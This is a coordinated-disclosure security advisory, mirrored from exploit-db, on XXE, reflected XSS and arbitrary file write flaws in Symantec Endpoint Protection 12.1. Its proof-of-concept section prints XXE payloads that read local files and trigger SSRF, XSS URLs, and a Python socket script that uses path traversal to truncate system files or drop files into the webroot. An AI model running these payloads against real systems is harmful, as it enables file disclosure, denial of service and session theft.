Symantec Endpoint Protection 12.1.4023.4080 – Multiple Vulnerabilities

  • 作者: SEC Consult
    日期: 2014-11-06
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  • 来源:https://www.exploit-db.com/exploits/35181/
  • SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >
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    title: XXE & XSS & Arbitrary File Write vulnerabilities
    product: Symantec Endpoint Protection
     vulnerable version: 12.1.4023.4080
    fixed version: 12.1.5 (RU 5)
     impact: Critical
     CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439
     homepage: http://www.symantec.com
    found: 2014-07-01
     by: Stefan Viehböck
     SEC Consult Vulnerability Lab
     https://www.sec-consult.com
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    Vendor description:
    -------------------
    "Symantec Endpoint Protection is a client-server solution that protects
    laptops, desktops, Windows and Mac computers, and servers in your network
    against malware. Symantec Endpoint Protection combines virus protection with
    advanced threat protection to proactively secure your computers against known
    and unknown threats.
    Symantec Endpoint Protection protects against malware such as viruses, worms,
    Trojan horses, spyware, and adware. It provides protection against even the
    most sophisticated attacks that evade traditional security measures, such as
    rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance
    and high power, Symantec Endpoint Protection communicates over your network to
    automatically safeguard for both physical systems and virtual systems against
    attacks."
    
    Source:
    https://www.symantec.com/endpoint-protection
    https://www.symantec.com/business/support/index?page=content&id=DOC6153
    
    
    Business recommendation:
    ------------------------
    Attackers are able to perform denial-of-service attacks against the Endpoint
    Protection Manager which directly impacts the effectiveness of the client-side
    endpoint protection. Furthermore, session identifiers of users can be stolen
    to impersonate them and gain unauthorized access to the server.
    
    All of these attacks can have a severe impact on the security infrastructure.
    An update to the latest version (12.1.5 RU 5) is highly recommended.
    
    
    
    Vulnerability overview/description:
    -----------------------------------
    1) XML External Entity Injection (XXE) [CVE-2014-3437]
    Multiple XXE vulnerabilities were found in the Endpoint Protection Manager
    application. An attacker needs to perform MitM attacks to impersonate
    securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,
    ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.
    These vulnerabilities can be used to execute server side request
    forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,
    file disclosure as well as attacks against functionality that is only
    exposed internally (see CVE-2013-5015 and issue #3).
    
    Note:
    The exploitation scenario proves that the previous command execution via
    SQL injection was exploitable for an external attacker with the ability to
    manipulate internet traffic _without any prior knowledge_ of the target system.
    
    
    2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
    Endpoint Protection Manager suffers from a reflected cross-site scripting
    vulnerability, which allows an attacker to steal other users' sessions, to
    impersonate other users and to gain unauthorized access to the admin interface.
    
    
    3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
    Arbitrary files can be written or overwritten by an unauthenticated attacker.
    The target file is truncated in the process which results in Denial of Service.
    However it might be possible to write files with arbitrary content nonetheless.
    
    
    
    Proof of concept:
    -----------------
    1) XML External Entity Injection (XXE) [CVE-2014-3437]
    The Symantec Protection Center component downloads XML files from
    http://securityresponse.symantec.com for information purposes.
    By impersonating securityresponse.symantec.com (eg. via DNS
    poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an
    attacker can inject malicious XML code into the file contents and thus exploit
    XXE vulnerabilities.
    
    For example by offering the following XML code at the URL
    http://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml
    arbitrary files can be disclosed via the Symantec Protection Center login
    page at https://<HOST>:8443/portal/Login.jsp
    
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    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]>
    
    <data>
    <regular>
    <text>&e;</text>
    </regular>
    <outbreak></outbreak>
    <threatcon>1</threatcon>
    </data>
    ===============================================================================
    
    
    Server Side Request Forgery (SSRF) can beexploited like in the following
    example that sets the application log level to "log all messages" eg. via
    http://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml
    
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    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE a [<!ENTITY e SYSTEM
    'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]>
    <foo>&e;</foo>
    ===============================================================================
    
    Furthermore some files can be exfiltrated to remote servers via the
    techniques described in:
    https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
    http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
    
    
    2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
    At least the following URLs are vulnerable to XSS:
    https://<HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>
    https://<HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b
    
    
    3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
    A flaw in ConsoleServlet allows an attacker to specify the application server
    thread name via the ActionType parameter. As the thread name is used in
    the pattern that is passed to the java.util.logging.FileHandler constructor
    by the logging component (ServerLogger) an attacker can define the log file
    path. By causing an exception in the thread, the log file is written to
    disk.
    The following code snippet causes an exception by terminating the TCP
    connection before the server has finished writing the response to the socket.
    
    ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 causes the win.ini
    file to be truncated.
    
    ===============================================================================
    import socket
    import struct
    
    HOST = '<HOST>'
    PORT = 9090
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    l_onoff = 1
    l_linger = 0
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger))
    
    msg = '''GET
    /servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini%00
    HTTP/1.1
    Host: SYMEPP
    EvilContent: <?php evilcode(); ?>
    
    '''
    
    s.sendall(msg)
    s.shutdown(socket.SHUT_RD)
    ===============================================================================
    
    
    ActionType=/../../Inetpub/Reporting/evil.php%00 causes the (empty) file
    evil.php to be written into the Apache webroot.
    
    ActionType=/../../Inetpub/Reporting/evil.php causes the file
    evil-0.log to be written into the Apache webroot.
    
    If the application log level has been set to "DEBUG" (which can be achieved
    via XXE, see issue #1) the file content includes all headers passed in the
    HTTP request (including the EvilContent header in the example above). However
    the file will not be processed by PHP because of the .log extension. Due to
    the complex nature of the Windows filesystem addressing modes (legacy/DOS,
    ADS, etc.) it is entirely possible that this limitation can be bypassed.
    
    
    
    Vulnerable / tested versions:
    -----------------------------
    The vulnerabilities have been verified to exist in Symantec Endpoint Protection
    version 12.1.4023.4080, which was the most recent version at the time of discovery.
    
    
    Vendor contact timeline:
    ------------------------
    2014-07-11: Initial contact to secure@symantec.com
    2014-07-29: Ask for status at secure@symantec.com
    2014-08-01: Conference call about status, extended grace period to 2014-10-31
    September/October: Several discussions / rechecks of the vulnerabilities
    2014-11-06: Coordinated release of the advisory
    
    
    Solution:
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    1) XML External Entity Injection (XXE) [CVE-2014-3437]
    
    Update to version 12.1.5 RU 5
    
    2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
    
    Update to version 12.1.5 RU 5
    
    3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
    
    The update to version 12.1.5 RU 5 only partially mitigates the vulnerability.
    Path Traversal is no longer possible, which reduces the severity to
    low/medium. The vendor claims that it will be entirely solved in the next
    version (12.1.5 RU6).
    
    
    For further information see the security advisory of the vendor:
    http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141105_00
    
    
    Workaround:
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    See Symantec security advisory for further mitigations.
    
    
    Advisory URL:
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    https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
    
    
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